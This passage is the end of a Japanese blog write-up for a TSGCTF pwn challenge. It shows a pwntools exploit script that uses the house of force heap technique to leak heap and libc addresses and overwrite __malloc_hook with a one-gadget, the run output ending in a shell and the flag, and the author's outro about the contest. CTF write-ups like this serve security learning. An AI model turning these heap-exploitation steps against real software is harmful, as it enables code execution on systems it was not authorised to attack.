  small(conn,"A"*8)#1
  normal(conn,"B"*8)#2
  rename(conn,1,"A"*0x50) #overwrite next size as side-effect
  showlist(conn)
  conn.recvuntil("A"*0x50)
  heap_addr = unpack(conn.recvuntil(" ")[:-1].ljust(8,'\x00'))
  print("heap_addr: "+hex(heap_addr))

  #prepare for leak of &main_arena+96
  small(conn,"C"*8)#3 #used to adjuscent name chunk with name chunk

  #house of force and make chunk around stdout
  small(conn,"D"*0x48+p64(0xffffffffffffffff))#4
  top = heap_addr+0x200+0x31 #top addr after malloc of kirby structure
  print("top: "+hex(top))
  print("req malloc size(usr): "+hex(0xffffffffffffffff+kirby_is_free-top-0x30))
  print("intended addr: "+hex(0xffffffffffffffff+kirby_is_free-top-0x30+top)+"\n")
  big(conn,"X",kirby_is_free-top-0x30)#5 #house of force(@stdint+0x8==sz)
  normal(conn,"A"*0x10)#6 #overwrite kirby_is_free(total_walk woudn't change)



  #back to valid heap area with house of force again
  small(conn,"D"*0x48+p64(0xffffffffff00001))#7
  top = 0x602140 + 0x30 #top addr after malloc of kirby structure
  print("top: "+hex(top))
  target_heap = heap_addr + 0x280
  print("target_heap: "+hex(target_heap))
  #big(conn,p8(0),top - target_heap + 0x20) #made mistake and waste 4days!!!!!!
  big(conn,"E"*8,target_heap - top + 0x20) #8
  
  #leak libc base
  normal(conn,"F"*8)#9
  small(conn,"G"*8)#10->9
  delete(conn,9)
  big(conn,"H"*8,0x450)#10 #this kirby's name chunk is next to name chunk of small kirby!!
  small(conn,"I"*8)#11->10 #avoid malloc_consolidate() and third house of force later
  delete(conn,10) #generate main_arena+96 in heap
  
  rename(conn,9,"K"*0x48+p64(0xffffffffffffffff)) #padding
  showlist(conn)
  conn.recvuntil("K"*0x48)
  conn.recv(8)
  main_arena = unpack(conn.recvuntil(" ")[:-1].ljust(8,'\x00'))-96
  print("[+]main_arena: "+hex(main_arena))
  libc_base = main_arena - off_libc_arena
  print("[+]libc_base: "+hex(libc_base))
  onegadget1 = onegadgets[1]+libc_base
  onegadget0 = onegadgets[0]+libc_base
  onegadget2 = onegadgets[2]+libc_base
  print("[+]onegadget1: "+hex(onegadget1))
  free_hook = off_free_hook + libc_base
  malloc_hook = off_malloc_hook + libc_base
  print("[+]free_hook: "+hex(free_hook))
  print("[+]malloc_hook: "+hex(malloc_hook)+"\n")

  rename(conn,9,"K"*0x48+p64(0x461)) #rewrite unsorted chunk's size into valid

  #consume unsorted chunk(sz==3e1)
  for i in range(0x3e1/(0x30+0x60) + 2):
    normal(conn,"+"*8)

  #overwrite malloc_hook with house of force
  rename(conn,10,"L"*0x48+p64(0xffffffffffffff01)) #overwrite top's size
  top = heap_addr + 0x8a0 #+ 0x30 #this time, kirby structure is pick up from remained unsorted
  print("top: "+hex(top))
  print("malloc req size(usr): "+hex(0xffffffffffffffff+free_hook-top-0x20))
  big(conn,"M"*8,malloc_hook - top - 0x20) #now top is on __malloc_hook

  #(now, the remain of unsorted(small) chunk is 0x40,
  # therefore, smallkirby chunk is pick up from small bin,
  # and name chunk is the very on malloc_hook!!!)
  small(conn,p64(onegadget2))

  #get the shell!
  conn.recvuntil("> ")
  conn.sendline("1")
  conn.recvuntil("> ")
  conn.sendline("1")
  sleep(1)
  conn.sendline("ls")
  sleep(2)
  conn.sendline("cat ./flag")



if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
  elif sys.argv[1][0]=="r":
    conn = remote(rhp1["host"],rhp1["port"])
else:
    conn = remote(rhp2['host'],rhp2['port'])
exploit(conn)
conn.interactive()



結果

heap_addr: 0xbfc2c0
top: 0xbfc4f1
req malloc size(usr): 0xffffffffffa05b36
intended addr: 0x10000000000602027

top: 0x602170
target_heap: 0xbfc540
[+]main_arena: 0x7fe2559dec40
[+]libc_base: 0x7fe2555f3000
[+]onegadget1: 0x7fe255642322
[+]free_hook: 0x7fe2559e08e8
[+]malloc_hook: 0x7fe2559dec30

top: 0xbfcb60
malloc req size(usr): 0x100007fe254de3d67
[*] Switching to interactive mode
You inhaled kirby!
$ 
$ cat /home/user/flag
TSGCTF{Kirby_is_the_symbol_of_PEACE!}





5: アウトロ

 

f:id:smallkirby:20191124170210p:plain

 

f:id:smallkirby:20191124170246p:plain

 

zer0ptsの皆さんありがとうございます。。。

ちゃんと点数取れるってことの証明をしていただけてありがたいです。。。

 

 

冷えちまって申し訳ねぇ。。。

最初に両チームとも100点問題を5分くらいでsolveしていたので

このスピード感たまんねぇなと思っていたら

そのまま1,2solveで止まってしまいました

 

やっぱこういう場だと余計な小細工は無しにして

全問正解前提の問題をタイムアタック的に解いてもらうのが一番興奮するんだと思い、反省しました

(でも本心をいうとIfYouWannaは秒とは行かなくても10分以内に解いてほしかった。。。)

 

 

世知辛い世の中だ

 

 

 

 

 

 

 

 

 

 

 

 

おい!お前今週ヘビーな試験2つあるだろ!

課題もあるだろ!

早く学科の勉強しろ!

 

 

 

 

 

 

続く・・・